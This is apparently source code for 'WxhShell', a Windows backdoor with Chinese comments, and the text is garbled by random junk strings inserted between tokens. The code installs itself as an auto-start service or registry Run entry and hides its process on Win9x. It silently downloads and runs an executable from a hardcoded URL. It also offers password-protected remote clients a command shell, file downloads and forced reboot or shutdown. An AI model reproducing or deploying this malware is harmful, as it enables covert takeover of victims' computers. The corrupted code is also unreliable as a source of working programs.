(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >x JzV NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &hO-6(^I 4U\}"Mk if (!NtQueryInformationProcess) return 0; vMB61 |O B=r DU$z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HWsV_VAw} if(!hProcess) return 0; |~e"i<G# @t~y9UfF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |67Jw2 60vmjm Xl CloseHandle(hProcess); t\hnnu`Pq H oABo: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .Pponmy if(hProcess==NULL) return 0; @k&6\1/U ce9P-}d HMODULE hMod; . s9E
+1 char procName[255]; n82tZpn unsigned long cbNeeded; :31_WJ^ }[;ZZm? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); le\-h'D m2\\!C]f CloseHandle(hProcess); \ s aV8U7B O hk\P;} if(strstr(procName,"services")) return 1; // 以服务启动 x[)-h/&Fh /"8e, return 0; // 注册表启动 \jwG*a } ~tA ^[tK q4[}b-fF // 主模块 N:)x67, int StartWxhshell(LPSTR lpCmdLine) ~^1y(-cw { z3uR1vF' SOCKET wsl; +PjTT6 BOOL val=TRUE; A7Ql%$v7^ int port=0; qU!dg struct sockaddr_in door; {&n- @$? Pp-N2t86#2 if(wscfg.ws_autoins) Install(); &SE}5ddC7 uaF-3 port=atoi(lpCmdLine); >+a\BK"k YCD|lL# if(port<=0) port=wscfg.ws_port; {Nl? HLW_Y|QaFo WSADATA data; 9 8|sWI3B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |reA`&<q ^YLC {V if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ojy^A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _u[tv, door.sin_family = AF_INET; z< L2W", door.sin_addr.s_addr = inet_addr("127.0.0.1"); YRlf U5 door.sin_port = htons(port); LL#REK|lm8 2T&MVl!% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A3a/ /e closesocket(wsl); jsN[Drr a return 1; P\j\p
= } z$?F^3> @:}c(j if(listen(wsl,2) == INVALID_SOCKET) { KV_/fa~Ry closesocket(wsl); =xo0T 6 return 1; irAXXg } Y)1/fEM Wxhshell(wsl); =\O#F88ui WSACleanup(); L+8ar9es F@u7Oel@m return 0; u}iuf_ k_7m[o } 1p}H,\o VmqJMU>. // 以NT服务方式启动 =
wD#H@ h VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n5$#M { L
BbST! DWORD status = 0; ZM.'W}J{* DWORD specificError = 0xfffffff; ,.<mj !YE ?@ oF@AEx= serviceStatus.dwServiceType = SERVICE_WIN32; XQy`5iv serviceStatus.dwCurrentState = SERVICE_START_PENDING; pp@
Owpb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$]B;;[A serviceStatus.dwWin32ExitCode = 0; N{v)pu. serviceStatus.dwServiceSpecificExitCode = 0; p / ITg serviceStatus.dwCheckPoint = 0; u_k[<&$ serviceStatus.dwWaitHint = 0;
]=~dyi `dZ|Ko%k hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >of34C"DI if (hServiceStatusHandle==0) return; ?@'&<o0p# \l59/ZFan status = GetLastError(); )pHtsd. eP if (status!=NO_ERROR) UMGiJO\yH { C8-7XQ=B:b serviceStatus.dwCurrentState = SERVICE_STOPPED; ~7 i{~<? serviceStatus.dwCheckPoint = 0; wEjinP$2 serviceStatus.dwWaitHint = 0; A8m06 serviceStatus.dwWin32ExitCode = status; !eF(WbU0 serviceStatus.dwServiceSpecificExitCode = specificError; D>7a0p784 SetServiceStatus(hServiceStatusHandle, &serviceStatus); O <Rh[Aqn return; y#GHmHeh } h5P_kZJ 9+@h2"|N4* serviceStatus.dwCurrentState = SERVICE_RUNNING; ~+Gh{,f serviceStatus.dwCheckPoint = 0; &r1(1< serviceStatus.dwWaitHint = 0; 1&MCS%UTL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [M\ an6h6O } 3}|[<^$ F rckA // 处理NT服务事件,比如:启动、停止 U,#~9 VOID WINAPI NTServiceHandler(DWORD fdwControl) jYp!?%! { {'IO switch(fdwControl) 1iF=~@Nz_ { _*o<<C\E case SERVICE_CONTROL_STOP: yT7$6x serviceStatus.dwWin32ExitCode = 0; JN
wI{ serviceStatus.dwCurrentState = SERVICE_STOPPED; 1B;2 ~2X serviceStatus.dwCheckPoint = 0; $*0-+h serviceStatus.dwWaitHint = 0; IJ Jp5[w { 9#z$GO|< SetServiceStatus(hServiceStatusHandle, &serviceStatus); `p()ko } z.8/[) return; vG_R( ]d case SERVICE_CONTROL_PAUSE: S`kOtZ_N n serviceStatus.dwCurrentState = SERVICE_PAUSED; Blxa0&3 break; 3F;C{P! case SERVICE_CONTROL_CONTINUE: zH]oAu=H serviceStatus.dwCurrentState = SERVICE_RUNNING; c>LP}PGk break; IhNX~Jg'^ case SERVICE_CONTROL_INTERROGATE: p~w] ~\ break; JQ%hh&M\0 }; 6|eqQ+(A SetServiceStatus(hServiceStatusHandle, &serviceStatus); !yd B,S } v5M4Rs&t HP8J\` // 标准应用程序主函数 F!X0Wo= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }B-$} { 7p1Y g NVMn7H}>
// 获取操作系统版本 5SY%B#;5G OsIsNt=GetOsVer(); =>
(g_\ GetModuleFileName(NULL,ExeFile,MAX_PATH); 3'z$@;Ev+ (%B{=w}8 // 从命令行安装 YZf{."Opj[ if(strpbrk(lpCmdLine,"iI")) Install(); q=X<QhK RhowhQ) G // 下载执行文件 Fe!MA if(wscfg.ws_downexe) { )k(K/m if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %
G=cKM WinExec(wscfg.ws_filenam,SW_HIDE);
o
]*yI[\ } Jinh#iar 0Q{lyu if(!OsIsNt) { .b";7}9{ // 如果时win9x,隐藏进程并且设置为注册表启动 v[
iJ(C_ HideProc(); +
+L7*1t StartWxhshell(lpCmdLine); \*t\=4 } p :xyy*I else
fJ*^4 if(StartFromService()) cNd&C'/N // 以服务方式启动 ??/bI~Sd StartServiceCtrlDispatcher(DispatchTable); F7<mm7BGZ else 6:2* < // 普通方式启动 qraXAQ StartWxhshell(lpCmdLine); p(RF
>>{):r
Z return 0; 8ae`V!5 } U,U=udsi /l7 %x. )xcjQkb A-r;5?S =========================================== !}6'vq T:Cq}4k< _#K|g#p5 WHC/'kvF +t,b/K(?] kqeEm{I " 11l=zv :P-H8*n"" #include <stdio.h>
vGi<" Sn7 #include <string.h> V=ll 9M #include <windows.h> (A?>U_@ #include <winsock2.h> --]blP7 #include <winsvc.h> RJ?)O#} #include <urlmon.h> N_g=,E=U% ,[
2N3iH #pragma comment (lib, "Ws2_32.lib") Qb^{` #pragma comment (lib, "urlmon.lib") q;9X8 _ W7!Rf7TK #define MAX_USER 100 // 最大客户端连接数 a?W5~?\9 #define BUF_SOCK 200 // sock buffer boiP_*|M Y #define KEY_BUFF 255 // 输入 buffer 9po=[{Bp H{=]94 #define REBOOT 0 // 重启 ;.jj>1=Tnl #define SHUTDOWN 1 // 关机 76T7<.S J0Yb_(w #define DEF_PORT 5000 // 监听端口 B}04E^ _7N?R0j^9N #define REG_LEN 16 // 注册表键长度 ?J$k
5; #define SVC_LEN 80 // NT服务名长度 YAXd mZU
L}[xf // 从dll定义API d\qszYP[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -|'@:cIZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ir'<H<t2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W)1nc"WqY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HxK'u4I i3XtrP"" // wxhshell配置信息 X#T|.mCdC struct WSCFG { %rB,Gl:)g int ws_port; // 监听端口 Y1lUO[F j char ws_passstr[REG_LEN]; // 口令 RV@B[: int ws_autoins; // 安装标记, 1=yes 0=no 'R1C-U3w, char ws_regname[REG_LEN]; // 注册表键名 W.4R+kF< char ws_svcname[REG_LEN]; // 服务名 G9xl-ag+z char ws_svcdisp[SVC_LEN]; // 服务显示名 $-DW+|p.?^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 @|\;#$?XW3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i$pUUK
int ws_downexe; // 下载执行标记, 1=yes 0=no ]+G\1SN~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ExS&fUn`C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1]>JMh%X9t :&5u) }; pKXSJ"Xo \u.5_
g // default Wxhshell configuration 7VfXE/ struct WSCFG wscfg={DEF_PORT, +;!^aNJ, "xuhuanlingzhe", o?O ZsA 1, qh bagw~ "Wxhshell", 3B[tbU( "Wxhshell", w*'DlP<7 "WxhShell Service", <.g)?nj1 "Wrsky Windows CmdShell Service", L]=mQo "Please Input Your Password: ", @/aJi6d"^E 1,
$o9^b
Z "http://www.wrsky.com/wxhshell.exe", *} *HXE5 "Wxhshell.exe" '3^_:E5y }; Up-^km ?b d&Av // 消息定义模块 pV<K=;:x> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DB"z93Mr<K char *msg_ws_prompt="\n\r? for help\n\r#>"; Dg^s$2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DFfh!KKR$ char *msg_ws_ext="\n\rExit."; QBmARQ char *msg_ws_end="\n\rQuit."; TH>uL;?= char *msg_ws_boot="\n\rReboot..."; @ #J2t# char *msg_ws_poff="\n\rShutdown..."; _7v4S/V char *msg_ws_down="\n\rSave to "; JWu0VLo ixy:S1pI char *msg_ws_err="\n\rErr!"; b7'A5]X char *msg_ws_ok="\n\rOK!"; m k~F@ {'P?wv char ExeFile[MAX_PATH]; Cjt].XR@ int nUser = 0; r
'ioH"= HANDLE handles[MAX_USER]; r"L:Mu int OsIsNt; >]Mhkf/=) s Wj:m ) SERVICE_STATUS serviceStatus; aEUEy:. SERVICE_STATUS_HANDLE hServiceStatusHandle; m{*_%tjN0 % T$!I (L& // 函数声明 5[6{o$I int Install(void); j0cB#M44 int Uninstall(void); WYvcN8F int DownloadFile(char *sURL, SOCKET wsh); ;[C_ho int Boot(int flag); gBgaVG void HideProc(void); ) WkN34Q int GetOsVer(void); =?M{B1;H int Wxhshell(SOCKET wsl); k:U%#rb; void TalkWithClient(void *cs); Fyz1LOH[X int CmdShell(SOCKET sock); NljcHe}Qy int StartFromService(void); .4z_ohe int StartWxhshell(LPSTR lpCmdLine); 9$sx+=( ],<pZ1V; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %
y` tDR VOID WINAPI NTServiceHandler( DWORD fdwControl ); V#&S&dn 1OFrxSg // 数据结构和表定义 R,hwn2@B SERVICE_TABLE_ENTRY DispatchTable[] = LqQ&4I { KjV1->r# {wscfg.ws_svcname, NTServiceMain}, 3 lKBwjW {NULL, NULL} 5'rP-z~
u }; "f!H[F1~ od/Q"5t[p // 自我安装 ]D>\Z(b int Install(void) HvG~bZN { mj& 4FQ#O* char svExeFile[MAX_PATH]; uw&p) HKEY key; t;
#D,gx strcpy(svExeFile,ExeFile); x*_'uP oS %&$s0=+ // 如果是win9x系统,修改注册表设为自启动 >{h/4T@ if(!OsIsNt) { I!p[:.t7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V?Ca[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .gwT?O, RegCloseKey(key); !y;xt?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 35#"]l" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V(!-xu1, RegCloseKey(key); T;Ra/H return 0; ?h-:,icR } @3Mp>u/ } ]%6XE) } ~hQTxLp else { jW.IkG[| V%w]HIhq // 如果是NT以上系统,安装为系统服务 /80RO:'7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *46hw(L if (schSCManager!=0) D"s
]dQ$r { X_J(P? SC_HANDLE schService = CreateService RATW[(ZA ( D]5cijO6 schSCManager, 5PT*b}g@ wscfg.ws_svcname, 8CGjI?j wscfg.ws_svcdisp, g5hMZPOmP SERVICE_ALL_ACCESS, MryY<s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 05[k@f$n SERVICE_AUTO_START, ty)~]!tA SERVICE_ERROR_NORMAL, kiR+ Dsl svExeFile, #s]` jdc NULL, 8s<t*
pI2 NULL, ,mvU`>Ry NULL, %b3s|o3An NULL, ~*^aCuq\ NULL K Fn[ ); gK>aR ^* if (schService!=0) ~g|z7o { 5(&'/U^ CloseServiceHandle(schService); HF]|>1WV[ CloseServiceHandle(schSCManager); >_LZD4v!< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4A~1Z,"%v( strcat(svExeFile,wscfg.ws_svcname); 222Mm/QN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g/e2t=qP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Vnqz
lI5 RegCloseKey(key); %Ig3udcY? return 0; C:@JLZB } z !:%Hbh= } u(g0Ob CloseServiceHandle(schSCManager); ,e5#wz } u8i!Fxu } `_5{:
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return 1; s^Rig[ } w>Y!5RnO u:s[6T0 // 自我卸载 `oGL== int Uninstall(void) kF29~ { iF'qaqHWY4 HKEY key; ;ax%H @o Tg|/UUn if(!OsIsNt) { wDz}32wB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SdQ"S-H RegDeleteValue(key,wscfg.ws_regname); <WRrB
`nO RegCloseKey(key); LP-_i}Kq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A/w7( RegDeleteValue(key,wscfg.ws_regname); h;?H4j RegCloseKey(key); Y5?OJO{h" return 0; x|`o7. } :B"Y3~I } bAZx*qE= } .sR=Mf7 T else { N9=1<{Z EsKOzl[c: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TG@ W:>N( if (schSCManager!=0) (nLT8{>0 { Y$&+2w,)H, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S1D=' k] if (schService!=0) vo JmNH { ?A`8c R=)I if(DeleteService(schService)!=0) { $PE{}`#g CloseServiceHandle(schService); "0]s|ys6< CloseServiceHandle(schSCManager); .P5OUK return 0; T99\R% } }{(J*T CloseServiceHandle(schService); vm
Y*K } mcqLN5 CloseServiceHandle(schSCManager); 4%9
+=" } D*o5fPvFO } deVbNg8gs s%l`XW;v return 1; 1]% ]"JbV } bIP%xl
Vp %kSpMj| // 从指定url下载文件 HyKv5S$ int DownloadFile(char *sURL, SOCKET wsh) 1}Mdo&:t { y|(C L^( HRESULT hr; .\:{6_ char seps[]= "/"; hX&Jq%{oa char *token; gOL-b9W char *file; (+lCh7. char myURL[MAX_PATH]; %MH!L2| char myFILE[MAX_PATH]; 8^>qzaf
8 $zv&MD!&h strcpy(myURL,sURL); I@jXW>$ token=strtok(myURL,seps); rIJv(&l while(token!=NULL) .Qz412
{ czu?]9;^
Z file=token; ;2%8tV$V token=strtok(NULL,seps); .5K}R< } kK&M>)&o# |';oIYs|$ GetCurrentDirectory(MAX_PATH,myFILE); uXkc07 r' strcat(myFILE, "\\"); $$f89, h strcat(myFILE, file); 49d02AU% send(wsh,myFILE,strlen(myFILE),0); Q$XNs%7w5, send(wsh,"...",3,0); 3Eu;_u_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %&Q9WMo if(hr==S_OK) tTcff9ee return 0; [,86||^ else wJ Qm7n-+ return 1; |Ta-D++]' TcKt } }K'gjs/N; xN
CU5 // 系统电源模块 jhF&
int Boot(int flag) WkUV)/j { >^N{ HANDLE hToken; CD:$22*] TOKEN_PRIVILEGES tkp; TkyP_* &$L6*+`h# if(OsIsNt) { <TQ,7M4X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y7_2pGvZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "eG@F tkp.PrivilegeCount = 1; Yx3ivjX.> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } 8&? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _-c1" Kl if(flag==REBOOT) { )~2~q7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a4E{7c return 0; J{qsCJiB } KJ#SE| else { $/#F9>eZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pgipT#_K return 0; %yPjPUHy } +Z=%4 } `)WC|= w2 else { 6QM$aLLP? if(flag==REBOOT) { [~{'"-3L0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CAa&,ZR return 0; Ls6C*<8 } me ,lE- else { U~I
y),5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OuMj%I return 0; +%!'~ } I#UL nSJ3 } C/#?S=w`4 WG]`Sy return 1; K3xt,g
} Dt:NBN TD.t) // win9x进程隐藏模块 & N.]8x5A void HideProc(void) UZRN4tru6 { w\lc;4U 6`WI
S4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +%=lu14G if ( hKernel != NULL ) Z>PS>6 { XImX1GH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \OE,(9T2P. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~c`%k>$
FreeLibrary(hKernel); !uW;Ea? } 8DkZ@} h!J|4Qa return; "@YtxYTW- } K^e4w`F| 4L/nEZ!Nsu // 获取操作系统版本 +FH@|~^O int GetOsVer(void)
e(H{C { 45Lzq6 OSVERSIONINFO winfo; ijACfl{!:t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N nq r{ub GetVersionEx(&winfo); rEwd76? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y<kg;-& 8 return 1; t~%( Zu>S else i
hcSS Um return 0; }CM#jN?( } wGgeK,*_ N{H#j6QW // 客户端句柄模块 n{(,r' int Wxhshell(SOCKET wsl) 0-:dzf { [&pMU) SOCKET wsh; 4m!w<c0NL struct sockaddr_in client; cb }OjM F DWORD myID; VE))`? ; sAe#b while(nUser<MAX_USER) )Lg~2]'?j { |]eWO#vs int nSize=sizeof(client); 0IyT(1hS wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l
p|`n if(wsh==INVALID_SOCKET) return 1; 0[p"8+x =klfCFwP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V ;"Rp-`^ if(handles[nUser]==0) #giH`|#d closesocket(wsh); 9^E!2CJ else d%:J-UtG" nUser++; 5[]Yx l } hE7rnn{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d^8n b+$E*} return 0; W9;9\k } (5e4>p&+ kAs=5_?I // 关闭 socket :qj7i( void CloseIt(SOCKET wsh) 8x-(7[#e<g { v oO7W" closesocket(wsh); 5p ,HkV nUser--; G4ycP8 ExitThread(0);
EUW>8kw0 } 0,B"p yIg^iZD
// 客户端请求句柄 SPm2I(at7 void TalkWithClient(void *cs) 6!H,(Z]j { xT-`dS0u X6=o vm SOCKET wsh=(SOCKET)cs; 6?a z char pwd[SVC_LEN]; {s{+MbD char cmd[KEY_BUFF]; gHFQs](G. char chr[1]; 5> !N)pA int i,j; v6ei47- `6(Zc"/
\m while (nUser < MAX_USER) { jp|*kBDq\ ZC`VuCg2O if(wscfg.ws_passstr) { $xis4/2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |l@z7R+4* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3R)|DGql=1 //ZeroMemory(pwd,KEY_BUFF); Vi>P =i i=0; -@@
O<M^ while(i<SVC_LEN) { Mkr
&30il[ 1jE {]/Y7& // 设置超时 Gd$!xN%O fd_set FdRead; K"ly\$F struct timeval TimeOut; 39I|.B" FD_ZERO(&FdRead); = ?BhtW FD_SET(wsh,&FdRead); s>%.bAxc TimeOut.tv_sec=8; ;.^!
7j TimeOut.tv_usec=0; M(I%QD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dH'02[; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); egH,7f(yP +S'm<}"1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tp.:2[ pwd=chr[0]; TpI8mDO\W if(chr[0]==0xd || chr[0]==0xa) { U;0:@.q pwd=0; pH(X;OC9S break; 14A(ZWwq9 } %:j`%F;R i++; KpDb%j } j&
ykce {,1>( // 如果是非法用户,关闭 socket |kD69
}sG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z!*6;[]SfG } }^VikT]>1 &PMfAo^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iP@FXJJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RJKi98xwJ
]68FGH while(1) { kU#k#4X4g C6Cr+TScH ZeroMemory(cmd,KEY_BUFF);
Frz #l@P}sHXq // 自动支持客户端 telnet标准 7{7Y[F0 j=0; r4<As` & while(j<KEY_BUFF) { ,*YmXR-" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sbhzER cmd[j]=chr[0]; 4S4gK if(chr[0]==0xa || chr[0]==0xd) { EhW"s%Q cmd[j]=0; TL)7X.1'L break; !\'H{,G } %yd(=%)fMB j++; l<+PA$+}} } $F[+H Wf !aKu9SR^e // 下载文件 *$`N5;7'` if(strstr(cmd,"http://")) { %*o send(wsh,msg_ws_down,strlen(msg_ws_down),0); `)4v Q+A> if(DownloadFile(cmd,wsh)) k+*pg4' send(wsh,msg_ws_err,strlen(msg_ws_err),0); a)c;z@r else :RxMZwa= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2,^> lY } g'{?j~g else { N%ccy?B "C(yuVK1G switch(cmd[0]) { "6U@e0ht %d*0"<v // 帮助 U OGjil{. case '?': { uqU&k@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pKGhNIj$ break; 4_sJ0 =z- } e6mm;@F> // 安装 $ZZ?*I case 'i': { #:P$a%V if(Install()) {MyI3mvA send(wsh,msg_ws_err,strlen(msg_ws_err),0); VBS}2>p else +rA#]#hN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o0>| break; jT< I`K* } JbJ!,86 // 卸载 u[PG/ploc case 'r': { @YQ*a4` if(Uninstall()) GQk/ G0*& send(wsh,msg_ws_err,strlen(msg_ws_err),0); UNwjx7usD else Nnr[@^M5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pZlt4 break; NZ&ZK@h}. } 6R^32VeK($ // 显示 wxhshell 所在路径 ^Ifm1$X} case 'p': { IVZUB*wv)b char svExeFile[MAX_PATH]; cWZ uph\ strcpy(svExeFile,"\n\r"); (aC=,5N strcat(svExeFile,ExeFile); 'q_ Z
dw% send(wsh,svExeFile,strlen(svExeFile),0); i$$h6P# break; o|vL:| 8Q } qg1\ABH // 重启 7I#C[:7x case 'b': { 1gcWw, / send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mMOgx if(Boot(REBOOT)) HeO&p@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+in?!@G: else { K(lSR closesocket(wsh); oNw=O>v ExitThread(0); &A.0(s } +boL?Ix+ break; reArXmU<u } u-s*k*VHoc // 关机 LAnC8O case 'd': { S]|sKY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q5hE S if(Boot(SHUTDOWN)) 64mD%URT send(wsh,msg_ws_err,strlen(msg_ws_err),0); gq 3|vzNZ else { Ii5U)" closesocket(wsh); .w@B )f* ExitThread(0); (ER9.k2 } oF]]Pl{W break; 53ZbtEwhwr } QdcuV\B} // 获取shell IHi[3xf< case 's': { )*XWe|H_ CmdShell(wsh); ^'M^0'_"v closesocket(wsh); S ~h*U2 ExitThread(0); , .~k break; RXcN<Y&
} j<~T:Tk // 退出 dI%ho<zm] case 'x': { &0y`Gt send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R) dP=W* CloseIt(wsh); .U@u | break; i^iu#WC } m%[/w wL // 离开 <)~-] case 'q': { WjK[% ;Z! send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0%[IG$u)| closesocket(wsh); ",vK~m2W_ WSACleanup(); EK[J!~ exit(1); vk
X+{n break; chUYLX}45 } 6)?u8K5%r } 5Rs#{9YE } {5{VGAD&]> -ZSN0Xk // 提示信息 t$Ff$( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,.V<rDwN& } +a|Q)Ob } ?< |